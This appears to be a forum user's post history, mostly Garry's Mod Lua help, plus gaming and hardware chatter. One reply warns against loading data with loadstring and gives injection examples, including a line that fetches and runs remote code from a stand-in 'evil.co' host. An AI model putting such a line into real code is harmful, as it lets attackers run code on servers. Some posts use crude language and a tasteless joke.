4,846 Results
Since you're starting a new context it doesn't really matter where you draw it (as long as you draw it last), but if you want it to go away for screenshots GM/HUDPaintBackground is probably what you want. Otherwise use GM/PostDrawTranslucentRenderables. (If none of that works...
Lexic Lua Developer Discussion Reply
Good luck convincing the author of permaprops that
Lexic Lua Developer Discussion Reply
Here's the file on github. It looks like they're just uploading garbage to the net system? Not much you can do about that, other than not using permaprops. ...cheats? šŸ™ƒ
Lexic Lua Developer Discussion Reply
You need to Entity/SetPos on the player's Entity/GetPos and then Entity/Spawn. There's an example in ents.Create
Lexic Lua Developer Discussion Reply
GM.Foo = 5 function GM:Func() print( self.Foo ) end function otherFunc() print( GAMEMODE.Foo ) end
Lexic Lua Developer Discussion Reply
https://steamcommunity.com/sharedfiles/filedetails/?id=1402239310 šŸ¤·ā€ā™€ļø
Lexic Lua Developer Discussion Reply
https://files.facepunch.com/forum/upload/110874/ca522e3a-131a-4aed-9c3f-747fa0b6fed0/gm_construct0094.jpg Ah there we go, everyone's favourite stencil trick - arbitrary holes in walls! The code is on github, but I'm completely stumped as to what function to put this as an e...
Lexic Lua Developer Discussion Reply
You will need to set up HTTP Polling. There's no easy way to have your web server talk to your game server directly, so the next best thing is for the game server to use http.Fetch in a timer and have the web server store messages in a database and send them each time the game...
Lexic Lua Developer Discussion Reply
You're making quite a lot of threads all with fairly basic errors that could easily be solved by a quick search on the wiki. Could you do a bit of basic research before making the next one please? (Or at least put all your questions into the same thread)
Lexic Lua Developer Discussion Reply
That looks like it should work, what did it print?
Lexic Lua Developer Discussion Reply
Your entity's think hook is called whether you use it or not and adding an if statement is hardly going to affect performance. I think you're being a bit patronising. Checking if one number is bigger than another number isn't a very complicated concept. It's also, imo, not un...
Lexic Lua Developer Discussion Reply
Rather than using timers, you'll probably have a better time if you use the entity's think hook. (As a bonus this will also let you show a progress bar on the clientside) There's a nice example on how to do this on The Wiki
Lexic Lua Developer Discussion Reply
Tired tonight, so I've only done render.ClearBuffersObeyStencil, render.SetStencilPassOperation, render.SetStencilFailOperation and render.SetStencilZFailOperation. https://files.facepunch.com/forum/upload/110874/214ee942-1091-476e-979b-116c50749fc8/gm_construct0089.jpg I'm...
Lexic Lua Developer Discussion Reply
You should definitely switch to JSON for all new chat messages immediately.
Lexic Lua Developer Discussion Reply
I thought I'd try and make an interactive stencil tutorial and upload it as examples to the wiki. Part 1 is basic clipping, and I've put it on render.SetStencilEnable and render.ClearStencilBufferRectangle. https://files.facepunch.com/forum/upload/110874/382f51d7-4bfb-473b-a...
Lexic Lua Developer Discussion Reply
GPL-v3
Lexic Lua Developer Discussion Reply
The OP has a been storing all their data (which data, I don't know) as strings of Lua, but has just realised that doing so is incredibly dangerous. They can't stop doing that because all their old data will break, so they want to be able to read a table from a string without a...
Lexic Lua Developer Discussion Reply
While constructing the table, Lua will call game.RunConsoleCommand with the string "exit" as its first parameter and then assign the return value to the key "foo". Possibly a better example would be { foo = loadstring(http.Get('evil.co/takeover.lua'))} This does have parenthes...
Lexic Lua Developer Discussion Reply
That is a start, but as an example, local str = [=[{foo = game.RunConsoleCommand"exit"}]=] doesn't have any lua keywords or special characters in it.
Lexic Lua Developer Discussion Reply
Slightly different syntax yes, but safer to use. If you convert all your strings to JSON then you don't have to write a custom parser or use loadstring.
Lexic Lua Developer Discussion Reply
You can use Entity/EyePos to work out where someone's eyes are and then use Entity/GetUp to get a vector to add until it's above their head.
Lexic Lua Developer Discussion Reply
util.JSONToTable?
Lexic Lua Developer Discussion Reply
Bizarre. If I were you, I'd try and make the absolute simplest example that causes this. EG a completely blank SENT that spawns as that model and draws a white square and a HUD that draws a black square, simplifying all the positioning logic until this stops happening, then pu...
Lexic Lua Developer Discussion Reply
I can't see anything obvious that would cause those two hooks to interfere with each other, other than a couple of globals in the second one. Possibly if you moved the per-entity thing into the ENTITY/DrawTranslucent on the entity itself the problem might magically go away? Ma...
Lexic Lua Developer Discussion Reply
Break the file into 63KB chunks and send each one with a sequence number, then merge them together on the server. If you use the filemode "ab" then you can append each new upload to the original file. Bear in mind that somebody malicious could use this to spam your server with...
Lexic Lua Developer Discussion Reply
You're welcome. You can probably drop the quality to like 80 without losing any important details
Lexic Lua Developer Discussion Reply
Maybe the jpg is too big? Change the quality to 98% and add a bunch of print statements, eg print(#data) on the client and print(datalen, #data) on the server and see what's being sent.
Lexic Lua Developer Discussion Reply
I mean there probably is an easy fix, but you're going to need to post the code you use to set up rendering for both the hud and the floaty panel.
Lexic Lua Developer Discussion Reply
try net.Start( "ScreenShotBack" ) net.WriteUInt( #data, 32 ) net.WriteData( data, #data ) net.SendToServer() and local datalen = net.ReadUInt( 32 ) local data = net.ReadData( datalen ) local f = file.Open( "teazd.jpg", "wb", "DATA" ) f:Write( data ) f:Close()
Lexic Lua Developer Discussion Reply
You don't need to write the screenshot to a file and then read it again, you can just use the "data" variable You're using net.ReadType/WriteType when you need to use net.ReadData/WriteData.
Lexic Lua Developer Discussion Reply
The error stacktrace is in setupFaction, but you've posted the code for setFaction. (Also, tostring will never return nil)
Lexic Lua Developer Discussion Reply
The issue i'm having is when change the timer in the client side the timer will only update on that specific client. The client shouldn't be setting values - you need to do this sort of thing from the server. Lots of exploits happen because of developers trust clients to set v...
lexic Lua Developer Discussion Reply
I've been mucking about with a custom keypad implementation for a while (since 2012 in fact) but recently I've had a lot more free time and have actually built something fairly usable. Playing with the keypad cracker has been great for learning various fancy things I didn't pr...
lexic Lua Developer Discussion Reply
Location of weapon worldmodel clientside & weird renderbounds
lexic Lua Developer Discussion Thread
I'm trying to set the renderbounds of a SWEP I'm making that fires a beam at another entity. However, when I call GetPos on the SWEP, it returns the player's crotch. I solved that by using the hand bone like this: local bone = self:LookupBone("ValveBiped.Bip01_R_Hand") ...
lexic Lua Developer Discussion Reply
[quote="The Wiki"] [url=http://wiki.garrysmod.com/page/Entity/TakePhysicsDamage]Entity:TakePhysicsDamage( [i]CTakeDamageInfo[/i] dmginfo ) [/url] Applies physics damage to the entity [/quote] [url="https://github.com/garrynewman/garrysmod/search?p=1&q=TakePhysicsDamage&...
lexic Developing Reply
[QUOTE=Merijnwitje;51939778]So there's a guy in my class who never goddamn learns. Every time he walks away to go to the bathroom, he leaves his laptop unlocked, most of the time even with his fucking Facebook wide open. Once one of our classmates set a bunch of shemale pic...
lexic Hardware & Software Reply
[QUOTE=Noi;51920545]People are forced to use default server browser sorting right now. It's not really doing good.[/QUOTE] What's that got to do with pretending a server is something it's not? These fake servers are saying "Hey - I'm an Australian server with 100 players!...
lexic Developing Reply
[QUOTE=Noi;51920491]Because I want to have servers in gmod that are populated with people from all over the world.[/QUOTE] And you think the best way to achieve that is to lie to people?
lexic Developing Reply
I'm an idiot, it's ActiveGame[highlight]m[/highlight]ode not ActiveGameode. The race condition was whether or not Wire was loaded. :hurr:
lexic Developing Reply
I would like my entity to work in all gamemodes, but use Sandbox features if available. I tried doing this: [lua] local BaseClass; if (WireLib) then BaseClass = "base_wire_entity" elseif (engine.ActiveGameode() == "sandbox") then BaseClass = "base_gmodentity" ...
lexic Developing Reply
[QUOTE=LittleBigBug;49826737]With localization I have it sorted as "Language Packs" and right now I just have English. The pack.aPlugins thing is just to show what plugins go with what pack and stuff. I plan in the menu to have a plugin list and just a bunch of information on...
lexic Developing Reply
[QUOTE=Jvs;49824063]No they're not documented currently as the plan was to have them replace everything in a transparent way as I stated above, but the function names are pretty much the same as the current SetNW* functions aside from the 2 in between. Also yes they accept ...
lexic Developing Reply
[QUOTE=Jvs;49824035]The current state is that _Kilburn's replacement for Garry's vars ( aka NWVars1 ) is currently in the game under the name of "NWVars2", you can access the functions with setnw2float and etc. At some point they will replace both dtvars ( and network vars ...
lexic Developing Reply
What's the current state of NWVars? When I was properly doing gmod ages ago they were evil and laggy and slow to update and unpredicted and didn't show up in demos etc. I vaguely recall that they were re-written, broke things, fixed things, became better than DTVars, stopped...
lexic Developing Reply
I've added position tracking, so you can see what you did wrong last time. [thumb]http://i.imgur.com/whiuC40.jpg[/thumb] It doesn't look very impressive but it took a while to recreate how spritetrails work correctly.
lexic Developing Reply
[QUOTE=bobbleheadbob;49820363]Take a look at this page. https://developer.valvesoftware.com/wiki/$translucent[/QUOTE] They're not my textures, they're just stuff from HL2's effects folder. I managed to come up with a fantastic hack that works with as far as I can tell no...
lexic Developing Reply
[QUOTE=bobbleheadbob;49785808]Try Material("matpath", "alphatest")[/QUOTE] No beans: [thumb]http://i.imgur.com/I5QxBvL.jpg[/thumb]
lexic Developing Reply
I've finally started working on Slide again and actually started making things! First up: "You died here" markers. [thumb]http://i.imgur.com/NU5MZqH.jpg[/thumb] I can really see why people don't like making special effects, there's barely any documentation and some things j...
lexic Developing Reply
What am I doing wrong? sprites/strider_blackball works, but sprites/splodesprite doesn't, and neither does any sprite I like the look of in the texture browser. I grabbed splodesprite from [url]https://wiki.garrysmod.com/page/render/DrawSprite[/url] so I figured it would work...
lexic Developing Reply
[QUOTE=Lexic;49286502] [QUOTE=Levelog;49286313]A titan x would be absurdly overkill. Do all the TV's need to have audio from the computer? Just want to know what kind of connectors you need.[/QUOTE] Nope, we've got a dedicated sound system in the room.[/QUOTE] Did yo...
lexic Hardware & Software Reply
[QUOTE=Levelog;49286313]A titan x would be absurdly overkill. Do all the TV's need to have audio from the computer? Just want to know what kind of connectors you need.[/QUOTE] Nope, we've got a dedicated sound system in the room.
lexic Hardware & Software Reply
I need to build a PC for my office to display HD video stretched across 4 1080p TVs. I'd also quite like for it to be able to play local coop games like Towerfall and such, but that's less important. I figure I should just get a Titan X but what should I do for the rest of t...
lexic Hardware & Software Reply
[QUOTE=P.;49236434]My name is Dapoel on rockstar social, whatĀ“s yours?[/QUOTE] Lexicality. I sent you an invite.
lexic General Games Discussion Reply
[QUOTE=P.;49236173]Anyone up for a session?[/QUOTE] Sounds good.
lexic General Games Discussion Reply
Goddamnit they reset my money.
lexic General Games Discussion Reply
It's nice that their helpdesk is configured to automatically nuke any complaints about being banned. 10/10 customer support would not play again.
lexic General Games Discussion Reply
And I've just been banned. What the fuck? The only thing [i]I[/i] have done was run around and punch people for 20mins in a Gerald mission to raise my strength stat. Is that ban worthy? I mean excluding that I've been fucked with more in the past day than I had been in my e...
lexic General Games Discussion Reply
Also did R* take away everyone's homing launchers, or just mine?
lexic General Games Discussion Reply
I've not played for a couple of months for various reasons, and now online is jam-packed with cheaters again. Has R* failed to follow through and mod menus are safe to use again or do people simply not care?
lexic General Games Discussion Reply
lexic Games In Progress Reply
Have all the plane prices doubled?
lexic General Games Discussion Reply
[QUOTE=Spectre1406;48765395]lol i met u just now, wearing white and cowboy hat[/QUOTE] Yeah that was me. Do you want to do a short notice heist?
lexic General Games Discussion Reply
[img]http://i.imgur.com/AVvQ79A.png[/img] I have just solved the mystery of why I've been having so many voice issues recently. Hurrr durr :downs:
lexic General Games Discussion Reply
[QUOTE=FlakTheMighty;48757509]I've been really put off modding again because of some PM's I got from people, 9/10 of them claiming I steal mods.:suicide:[/QUOTE] Talking of stealing mods, [url=https://www.gta5-mods.com/scripts/disable-mid-air-vehicle-control]look whose mod...
lexic General Games Discussion Reply
I'd like a new modular PSU to power my GTX 970 so I can use my old one for a rebuild. Is a [url=http://www.amazon.co.uk/dp/B00IPD513K]XFX P1-550B-BEFX 550w XTR Gold Fully Modular Power Supply Unit[/url] the right sort of thing?
lexic Hardware & Software Reply
Anyone want to do a heist?
lexic General Games Discussion Reply
I'm glad they've fixed so much shit, I've been bitten at least once by a lot of things on that list.
lexic General Games Discussion Reply
[QUOTE=glitchvid;48679535]They should work by default? I just tried waterfox, it'll warn about mixed content, but won't actively block images.[/QUOTE] Yeah, I found out my laptop is blocking non-https images for some reason.
lexic General Discussion Reply
[QUOTE=Everything;48678098]Never really get a good opportunity to say this, but seeing you guys in-game and having a great time with you makes a lot of GTAO's bullshit worthwhile. Shout-out to you, crew.[/QUOTE] It was really fun. I'm up for doing it again though the ti...
lexic General Games Discussion Reply
Has anyone made a userscript to make all the http image embeds into https?
lexic General Discussion Reply
[QUOTE=MilkBiscuit;48675324]If you can find one other person, me and my friend have been trying to finish the prison break finale for the past like 3 weeks. We HAD a group, but one of them flaked out, and the other was a pedophile :v:[/QUOTE] Did having a child in his lap ...
lexic General Games Discussion Reply
Anyone want to get their hoist on? I don't particularly care what, I just want the money.
lexic General Games Discussion Reply
Oh my god doing heists with randomers is ridiculous. Does anyone non-retarded want to do one? I need $$$.
lexic General Games Discussion Reply
function SGNAdmin.IsPlayer( [b]var[/b] ) print("Variable type is: " .. type([highlight]nick[/highlight])) // This prints string if SGNAdmin.GetObjectFromNick( [b]var[/b] ) then
lexic Developing Reply
[QUOTE=Anti Christ;48517169]as much as i doubt we'll switch anytime soon, i really hope we never use discourse. it is possibly the ugliest forum software ive seen[/QUOTE] Is that your only objection? I mean FP's theme is unlikely to win any design contests any time soon b...
lexic General Discussion Reply
[QUOTE=Anti Christ;48513916]you didnt answer his question. he asked what the benefits would be, and you listed none. how would i, an average user, benefit from switching to something other than vb[/QUOTE] If we were to switch to say [url=http://www.discourse.org/]Disco...
lexic General Discussion Reply
[QUOTE=kaze4159;48499997]$230 a year to marginally improve something that already works Plus robot would have to change everything anyway to work with the new shit[/QUOTE] Marginally is an understatement, it provides nice previews for links and support for embedding far m...
lexic General Discussion Reply
[QUOTE=Scratch.;48496155]no thanks [t]http://sharex.moe/i/2015/08/15-08-20_07-24-46.png[/t][/QUOTE] ?? $230 for a year of embeds working properly is nothing vs the amount robot would cost fps to fix it himself (assuming he gets paid a decent developer's salary)
lexic General Discussion Reply
[QUOTE=Robotboy655;48492315]Unfortunately I don't think I can add this without redoing the whole video tag. No to mention the already monstrous regexp for youtube videos.[/QUOTE] You might want to consider these guys: [url]http://embed.ly/[/url] We used them at my old c...
lexic General Discussion Reply
All http embeds would break and [media] forces http for some reason.
lexic General Discussion Reply
[QUOTE=mijyuoon;48485269]There's one case where semicolon is required, but I don't think it's gonna happen too often. [code] local a = stuff ("wat"):someshit() -- ERROR: ambiguous syntax (function call x new statement) near '(' [/code][/QUOTE] [QUOTE=Lexic;48485156]sy...
lexic Developing Reply
[QUOTE=FPtje;48472243]I already have warnings on double semicolons and commas. Semicolons after statements is a programmer's style choice. I think it's stupid too, but that's my opinion and not a universal truth.[/QUOTE] Embrace the config file, you know it to be true! ...
lexic Developing Reply
[QUOTE=Wizard of Ass;48472030]Oh and warnings about unnecessary semicolons would be nice, I know they are used in some places to seperate instructions, must in 99% of the cases I've seen them, they were pretty pointless.[/QUOTE] Also a warning for [i]not[/i] ending each st...
lexic Developing Reply
[QUOTE=FPtje;48471369]Holy shitballs that's a lot of useful ideas. I'm not sure about rc files, though. I'd rather have any configuration done through command line parameters. The attribute grammar is going to be huge![/QUOTE] The RC files are incredibly important for ...
lexic Developing Reply
[QUOTE=Lexic;48312036]Can you update flagdog's geoIP DB pls, my ISP bought a bunch of American IPs.[/QUOTE] Apparently I'm now in Russia?
lexic General Discussion Reply
Obviously you'll need a config file for turning these on/off and customising them (per project .rc style please, so it checks each successive parent folder starting from the file merging every found config), but here's a collection of useful rules blatantly stolen from JSHint....
lexic Developing Reply
[QUOTE=Robotboy655;48324245]I don't have access to it, so no.[/QUOTE] Could you ask Garry to have a look at it then please?
lexic General Discussion Reply
Can you update flagdog's geoIP DB pls, my ISP bought a bunch of American IPs.
lexic General Discussion Reply